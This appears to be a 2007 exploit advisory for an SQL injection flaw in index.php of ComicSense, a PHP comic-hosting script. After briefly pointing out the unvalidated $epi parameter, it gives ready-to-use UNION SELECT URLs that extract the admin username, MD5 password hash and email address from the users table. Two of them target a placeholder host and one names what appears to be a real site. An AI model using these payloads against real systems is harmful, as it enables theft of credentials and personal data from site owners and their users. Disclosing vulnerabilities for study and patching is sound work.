Comicsense SQL Injection Advisory/Exploit

2007-06-26
ID: 72013
CVE: None
Download vulnerable application: None
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by s0cratex
s0cratex (at) hotmail (dot) com [email concealed]
http://plexinium.net

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ComicSense is a script using php / mySQL. 
It allows you to easily host an Online Comic
or Image shack.
You can download it from www.gayadesign.nl/comicsense/
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The bug is a common sql injection in "index.php"

Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verified...

Exploit:
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Admin username
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users

MD5 hash password:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users

e-Mail adress:
http://www.sneakyshits.com/comics/index.php?epi=-1 union select email,1,1 from users
1-4-2 (www01)